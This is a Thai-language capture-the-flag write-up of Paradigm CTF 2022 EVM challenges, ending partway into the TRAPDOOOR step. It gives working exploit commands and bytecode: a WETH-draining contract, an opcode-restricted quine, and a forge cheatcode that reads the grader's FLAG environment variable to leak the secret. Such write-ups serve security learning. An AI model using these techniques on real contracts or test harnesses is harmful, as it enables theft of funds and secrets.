For English version, please visit: https://inspexco.medium.com/paradigm-ctf-2022-writeup-2ce290cd9287
ทีมงานของ Inspex ได้เข้าร่วมการแข่งขัน Paradigm CTF 2022 ในชื่อทีม _C0FFEE และคว้าอันดับที่ 15 ของโลกจากผู้เข้าแข่งขันทั้งหมด 445 ทีม ด้วยคะแนนรวม 2,465.1 คะแนน
โจทย์ในครั้งนี้ค่อนข้างหลากหลาย มีทั้งโจทย์ที่เป็น EVM, Solana, และ Cairo ซึ่งกำลังเป็นที่นิยมอยู่ในปัจจุบัน โดยทางทีมสามารถแก้โจทย์ได้ทั้งสิ้น 11 ข้อดังนี้:
· EVM
∘ RANDOM
∘ RESCUE
∘ SOURCECODE
∘ TRAPDOOOR
∘ MERKLEDROP
· Solana
∘ OTTER-WORLD
∘ SOLHANA-1
∘ SOLHANA-2 (Solved Locally)
· Cairo
∘ RIDDLE-OF-THE-SPHINX
∘ CAIRO-PROXY
∘ CAIRO-AUCTION
สามารถดู write-up ของโจทย์แต่ละข้อที่ทางทีมแก้ได้ด้านล่างเลยครับ
EVM
RANDOM
CHALLENGE: RANDOM
AUTHOR: Riley Holterhus
TAGS: SANITY CHECK
DESCRIPTION: I’m thinking of a number between 4 and 4
ACCESS: nc 34.66.135.107 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/random.zip
สำหรับโจทย์ข้อนี้ เป็นโจทย์เบื้องต้นสำหรับ EVM โดยมีการให้ไฟล์มาอยู่ 2 contract ดังนี้
จากที่เห็นใน Setup
contract ว่าตัวแปร solved
ใน Random
contract ต้องถูกเปลี่ยนให้เป็น true
โดยวิธีการเปลี่ยนสามารถทำได้โดยการเรียก function solve()
โดยส่ง parameter ที่มีค่าเหมือนกับผลลัพธ์ของ function _getRandomNumber()
หรือก็คือ 4
$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: 5a0028b7-3585-40ad-a5d8-7a7d98e8c713
rpc endpoint: http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713
private key: 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa
setup contract: 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502
จากการเชื่อมต่อไปที่ server ของโจทย์ เราจะได้รับ RPC URL, private key, และ address ของ Setup
contract
ในการผ่านข้อนี้ เราจะต้องมี address ของ Random
contract ที่สามารถหาได้จากการเรียก random()
function ของ Setup
contract โดยใช้ cast
ดังนี้:
$ cast call --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502 "random()"
0x00000000000000000000000031a91af1e135324f344f96757703aa11ff214e51
จาก output จะพบว่า Random
contract อยู่ที่ address 0x31a91af1e135324f344f96757703aa11ff214e51
จากนั้นเราจะสามารถเรียก solve()
function เพื่อผ่านโจทย์ข้อนี้
$ cast send --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 --private-key 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa 0x31a91af1e135324f344f96757703aa11ff214e51 "solve(uint256)" 4
เมื่อ transaction ถูกส่งไปเรียบร้อย เราสามารถไปที่ server อีกครั้งเพื่อเอา flag มาได้เลย
$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
PCTF{IT5_C7F_71M3}
Flag: PCTF{IT5_C7F_71M3}
RESCUE
CHALLENGE: RESCUE
AUTHOR: Riley Holterhus
TAGS: PWN
DESCRIPTION: I accidentally sent some WETH to a contract, can you help me?
ACCESS: nc 34.123.187.206 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/rescue.zip
จาก Setup
contract จะเห็นว่า 10 $WETH ถูกส่งให้ MasterChefHelper
contract ใน constructor โดยเป้าหมายของโจทย์ข้อนี้คือการทำให้ จำนวน $WETH ใน MasterChefHelper
contract เป็น 0
MasterChefHelper
contract มี function swapTokenForPoolToken()
ที่จะรับเหรียญไปแบ่งครึ่งและ swap แต่ละกองเป็นแต่ละ token จากนั้นจึงนำ token เหล่านั้นมาเพิ่มเป็น liquidity
เราจะเห็นว่าเมื่อ function _addLiquidity()
นั้นถูกเรียก มันจะส่ง token ทั้งสองไปเท่าจำนวนทั้งหมดที่ MasterChefHelper
contract ถืออยู่เพื่อคำนวณจำนวน LP ที่จะได้รับ ดังนั้นเราสามารถใช้กระบวนการเพิ่ม liquidity นี้โดยให้ token ฝั่งนึงเป็น $WETH ก็จะสามารถดึง $WETH ที่ติดใน contract มาใช้งานได้
อย่างไรก็ตามในการ swap token ตั้งต้นให้เป็น 2 token จะยังมีเงื่อนไขที่ต้องคำนึงถึงอยู่ดังนี้:
- หนึ่งใน 2 token ปลายทางจะต้องเป็น $WETH เพื่อจะดึง $WETH ที่ค้างอยู่
- ชนิดของ
tokenIn
จะต้องเป็น token อื่นนอกเหนือจาก 2 token ปลายทางเพราะ router ไม่รองรับการ swap เป็น token เดียวกัน - จะต้องมี liquidity เพียงพอต่อการ swap ทั้งจาก
tokenIn
เป็นtokenOut0
และจากtokenIn
เป็นtokenOut1
เพื่อหาค่า tokenIn
และ poolId
ที่ต้องการ เราจึงสร้าง instance และทำการเขียน web3 script เพื่อดึงข้อมูลแต่ละ pool ที่มีอยู่ออกมา
$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: b1dcfc76-608d-43df-873f-5a8051100d7c
rpc endpoint: http://34.66.135.107:8545/b1dcfc76-608d-43df-873f-5a8051100d7c
private key: 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad
setup contract: 0x3982455E39F78c850AB5E80D81Ce41aa5B3CE6C7
ผลลัพธ์จากการรัน script ข้างต้นได้ดังนี้
0 0x06da0fd433C1A5d7a4faa01111c044910A184553 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xdAC17F958D2ee523a2206206994597C13D831ec7
1 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
2 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 0x6B175474E89094C44Da98b954EedeAC495271d0F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
3 0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
4 0x31503dcb60119A812feE820bb7042752019F2355 0xc00e94Cb662C3520282E6f5717214004A7f26888 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
5 0x5E63360E891BD60C69445970256C260b0A6A54c6 0x80fB784B7eD66730e8b1DBd9820aFD29931aab03 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
6 0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
7 0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4 0x04Fa0d235C4abf4BcF4787aF4CF447DE572eF828 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
8 0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967 0x514910771AF9Ca656af840dff83E8264EcF986CA 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
9 0xA75F7c2F025f470355515482BdE9EFA8153536A8 0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
10 0xCb2286d9471cc185281c4f763d34A962ED212962 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD46bA6D942050d489DBd938a2C909A5d5039A161
11 0x088ee5007C98a9677165D78dD2109AE4a3D04d0C 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
12 0x795065dCc9f64b5614C407a6EFDC400DA6221FB0 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
13 0x611CDe65deA90918c0078ac0400A72B0D25B9bb1 0x408e41876cCCDC0F92210600ef50372656052a38 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
14 0xaAD22f5543FCDaA694B68f94Be177B561836AE57 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0x68A118Ef45063051Eac49c7e647CE5Ace48a68a5
15 0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2 0x476c5E26a75bd202a9683ffD34359C0CC15be0fF 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
16 0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820 0xAba8cAc6866B83Ae4eec97DD07ED254282f6aD8A 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
17 0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD533a949740bb3306d119CC777fa900bA034cd52
18 0xDafd66636E2561b0284EDdE37e42d192F2844D40 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
19 0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
20 0x0Cfe7968e7c34A51217a7C9b9dc1690F416E027e 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 0x6B175474E89094C44Da98b954EedeAC495271d0F
21 0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
22 0xf169CeA51EB51774cF107c88309717ddA20be167 0x2ba592F78dB6436527729929AAf6c908497cB200 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
23 0x17b3C19Bd640a59E832AB73eCcF716CB47419846 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD5525D397898e5502075Ea5E830d8914f6F0affe
24 0xFcff3b04C499A57778ae2CF05584ab24278A7FCb 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
25 0x382c4a5147Fd4090F7BE3A9Ff398F95638F5D39E 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
26 0x2024324a99231509a3715172d4F4f4E751b38d4d 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c
27 0x0be88ac4b5C81700acF3a606a52a31C261a24A35 0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
28 0x518d6CE2D7A689A591Bf46433443C31615b206C5 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D
พบว่า token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c
สามารถ swap เป็น $WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
) ได้ ผ่าน pool id 25, และยังสามารถ swap เป็น token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
ผ่าน pool id 26.
แล้วยังพบว่า pool id 21 นั้นเป็นคู่ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
และ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
ตัว token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c
นั้นสามารถเป็น tokenIn
ได้ตรงตามที่ต้องการ โดยจะใช้ ค่า poolId
เป็น 21
เพื่อจะนำ $WETH ทั้งหมดออกจาก MasterChefHelper
contract นั้น ก่อนที่ function _addLiquidity()
จะถูกเรียก เราจะต้องทำให้ contract มีจำนวน token เป็นอัตราส่วนเดียวกับ liquidity pool หรือจะให้มีสัดส่วนของ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
มากกว่า เพื่อให้ $WETH ทั้งหมดถูกส่งไป liquidity pool
ดังนั้นเราจึงเขียน contract เพื่อช่วยในการทำขั้นตอนเหล่านี้
- ฝาก 11 $ETH เพื่อรับ 11$WETH
- ซื้อ token
0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c
ด้วย 0.1 $WETH - ซื้อ token
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
ด้วย 10.9 $WETH - ส่ง token
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
ไปที่MasterChefHelper
contract เพื่อเพิ่มอัตราส่วนของ token ให้มากขึ้น - เรียก function
swapTokenForPoolToken()
ในMasterChefHelper
contract
ใช้ forge
เพื่อ deploy contract
$ forge create --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad rescue/public/contracts/Solve.sol:Solve --json
{"deployedTo":"0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C","deployer":"0x2d60598B659634B1337d3757928800d796F43896","transactionHash":"0x63c96471ddfd7daa0846e328222b721562185bd230ba290e9f3068fd5369e2cc"}
ส่ง 11 $ETH ไปให้ contract ที่ deploy แล้วเรียก function solve()
$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C --value 11000000000000000000$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C "solve()"
จากนั้นเชื่อมต่อไปยัง server เพื่อรับ flag
$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
PCTF{MuCH_4PPr3C1473_53r}
Flag: PCTF{MuCH_4PPr3C1473_53r}
SOURCECODE
CHALLENGE: SOURCECODE
DESCRIPTION: Fixed point EVM bytecode
ACCESS: nc 34.136.156.228 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/sourcecode.zip
สำหรับข้อนี้ เราจะต้องเขียน smart contract ที่ส่ง output ออกมาเป็น bytecode ของ smart contract นั้นเอง โดยห้ามใช้ opcode ที่ถูกระบุไว้ใน safe()
function
ในตอนแรก ทางทีมตั้งใจเขียน smart contract ขึ้นมาเพื่อ return ส่วนของ code โดยใช้ CODECOPY
opcode
แต่ก็พบว่าไม่สามารถทำได้ เพราะ CODESIZE
(0x38) และ CODECOPY
(0x39) opcode ถูกห้ามไว้ใน safe()
function.
ทางทีมรู้ว่าโปรแกรมที่ return ตัวเองออกมาเป็น output นั้นเรียกว่า “quine” เมื่อทดลองหาดู จึงเจอ quine ของ EVM ที่มีคนเคยเขียนไว้แล้ว ชื่อว่า quine.etk
Ref: https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff
แต่ว่า quine.etk
มีการใช้ CALLVALUE
opcode ที่ถูกห้ามไว้
ทางทีมเลยใช้แนวคิดเดียวกัน และดัดแปลง smart contract โดยเปลี่ยน callvalue
opcode เป็น opcode อื่นเพื่อจุดประสงค์เดียวกัน คือการ PUSH
ค่า 0 ขึ้นไปบน stack จากนั้นทำการ pad byte ที่เหลือด้วย STOP
opcode
$ evmasm -a < dupper.bc
0x80607f60005360015260215260416000f3000000000000000000000000000000
จากนั้นจึงเปลี่ยน PUSH16
เป็น PUSH32
ให้พอดีกับขนาดของ bytecode ของ dupper.bc
เมื่อ compile เสร็จ เราก็จะได้ bytecode ออกมาในรูปแบบ hex
$ evmasm -a < exploit.bc
0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000
เชื่อมต่อไปที่ server เพื่อเริ่มต้น instance ของ โจทย์
$ nc 34.136.156.228 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8byour private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: bf8d3ead-f772-47ff-84e1-02626c1f1717
rpc endpoint: http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717
private key: 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9
setup contract: 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715
จากนั้นเรียก challenge()
function เพื่อดู address ของ Challenge
contract
$ cast call --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715 "challenge()"
0x000000000000000000000000b4ee4924c6dccb4c4e0d4872a9d84b8db17043ac
เมื่อได้ address มา เราก็จะสามารถเรียก solve()
function โดยใช้ bytecode ที่เราสร้างขึ้นมาเป็น parameter ได้เลย
cast send --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 --private-key 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9 0xb4ee4924c6dccb4c4e0d4872a9d84b8db17043ac "solve(bytes)" -- 0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000
หลังจาก transaction ถูกส่งไปเรียบร้อย เราก็สามารถเชื่อมต่อไปที่ server อีกครั้งเพื่อเอา flag
$ nc 34.136.156.228 31337`
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
PCTF{QUiNE_QuiNe_qU1n3}
Flag: PCTF{QUiNE_QuiNe_qU1n3}
TRAPDOOOR
CHALLENGE: TRAPDOOOR
AUTHOR: samczsun
TAGS: PWN
DESCRIPTION: In theoretical computer science and cryptography, a trapdoor function is a function that is easy to compute in one direction, yet difficult to compute in the opposite direction (finding its inverse) without special information, called the “trapdoor”.
ACCESS: nc 35.68.217.8 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/trapdooor.zip
โจทย์ในข้อนี้ ต้องการให้เราเขียน smart contract เพื่อหาตัวประกอบจำนวนเฉพาะของเลขที่สุ่มขึ้นมาให้ถูกต้อง โดยเราสามารถส่ง bytecode ไปที่ server และ server จะทำการตรวจสอบผลลัพธ์โดยใช้ forge
ทางทีมทราบว่าใน forge
สามารถใช้คำสั่งพิเศษที่เรียกว่า cheatcodes (https://book.getfoundry.sh/forge/cheatcodes) ได้ เราเลยเขียน smart contract ที่ใช้ฟังก์ชั่น envString()
เพื่อดึงค่า FLAG
environment variable ออกมา
โดยเราจะเห็น output จาก server เป็นตัวเลขที่ได้จากคำตอบของการหาตัวประกอบเท่านั้น เราเลยใช้วิธีแบ่งค่าของ FLAG
ออกเป็นสองส่วน และ encode ไว้ในค่าของตัวประกอบทั้งสองตัว
ทำการ compile ตัว contract ที่เขียนขึ้นมา และรันเพื่อให้ได้ runtime bytecode
$ cat out/Factorizor.sol/Factorizor.json | jq '.bytecode.object'
"0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033"$ evm-run --code 0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033 code 608060405234801561001057600080FD5B50610279806100206000396000F3FE608060405234801561001057600080FD5B506004361061002B5760003560E01C80631B3ABBA014610030575B600080FD5B61004361003E36600461014A565B61005C565B6040805192835260208301919091520160405180910390F35B60405163F877CB1960E01B81526000908190737109709ECFA91A80626FF3989D68F67F5B1DD12D908290829063F877CB19906100B390600401602080825260049082015263464C414760E01B604082015260600190565B6000604051808303816000875AF11580156100D2573D6000803E3D6000FD5B505050506040513D6000823E601F3D908101601F191682016040526100FA9190810190610179565B90506000610109826020610126565B90506000610118836040610126565B919791965090945050505050565B81516000908390820361013D575060009050610144565B5050818101515B92915050565B60006020828403121561015C57600080FD5B5035919050565B634E487B7160E01B600052604160045260246000FD5B6000602080838503121561018C57600080FD5B825167FFFFFFFFFFFFFFFF808211156101A457600080FD5B818501915085601F8301126101B857600080FD5B8151818111156101CA576101CA610163565B604051601F8201601F19908116603F011681019083821181831017156101F2576101F2610163565B81604052828152888684870101111561020A57600080FD5B600093505B8284101561022C578484018601518185018701529285019261020F565B60008684830101528096505050505050509291505056FEA26469706673582212209120A8F35834F204AF3746D2B256675B3C4330670545B904B6D04F680CAA247F64736F6C63430008100033
60 PUSH1
60 PUSH1 Stack: 80
52 MSTORE Stack: 40,80
34 CALLVALUE Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
80 DUP1 Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
15 ISZERO Stack: 0,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Stack: 1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
57 JUMPI Stack: 10,1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
5b JUMPDEST Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
50 POP Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
80 DUP1 Stack: 279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Stack: 279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
60 PUSH1 Stack: 20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
39 CODECOPY Stack: 0,20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
60 PUSH1 Stack: 279 Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000
f3 RETURN Stack: 0,279 Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000
Returned: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033
gasUsed : 171
จากนั้นจึงเชื่อมต่อไปยัง server ของโจทย์ และส่ง runtime bytecode ไป
$ nc 34.68.217.8 31337
1 - factorize
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589df1893973e19b6efc
